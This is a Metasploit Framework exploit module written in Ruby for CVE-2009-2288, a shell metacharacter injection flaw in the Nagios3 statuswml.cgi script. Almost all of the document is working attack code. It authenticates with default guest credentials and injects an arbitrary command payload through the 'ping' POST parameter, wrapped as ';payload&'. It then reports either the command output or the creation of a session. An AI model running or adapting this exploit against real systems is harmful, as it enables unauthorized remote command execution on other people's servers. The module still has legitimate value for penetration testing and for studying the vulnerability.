Nagios3 statuswml.cgi Command Injection

## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Nagios3 statuswml.cgi Ping Command Execution', 'Description' => %q{ This module abuses a metacharacter injection vulnerability in the Nagios3 statuswml.cgi script. This flaw is triggered when shell metacharacters are present in the parameters to the ping and traceroute commands. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2009-2288' ], [ 'OSVDB', '55281'], ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => false, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'BadChars' => '<>', 'Compat' => { 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Targets' => [ [ 'Automatic Target', { }] ], 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The full URI path to statuswml.cgi", "/nagios3/cgi-bin/statuswml.cgi"]), OptString.new('USER', [true, "The username to authenticate with", "guest"]), OptString.new('PASS', [true, "The password to authenticate with", "guest"]), ], self.class) end def exploit print_status("Sending request to http://#{rhost}:#{rport}#{datastore['URI']}") res = send_request_cgi({ 'method' => 'POST', 'uri' => datastore['URI'], 'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") }, 'vars_post' => { 'ping' => ';' + payload.encoded + '&' } }, 10) if(not res) if session_created? print_status("Session created, enjoy!") else print_error("No response from the server") end return end if(res.code == 401) print_error("Please specify correct values for USER and PASS") return end if(res.code == 404) print_error("Please specify the correct path to statuswml.cgi in the URI parameter") return end if(res.body =~ /Invalid host name/) print_error("This server has already been patched") return end if(res.body =~ /p mode='nowrap'>(.*)<\/p>/smi) print_status("Displaying command response") out = $1 print_line(out.gsub(/<b>|<\/b>|<br.>/, '')) return end print_status("Unknown response, displaying raw HTML") print_line(res.body) end end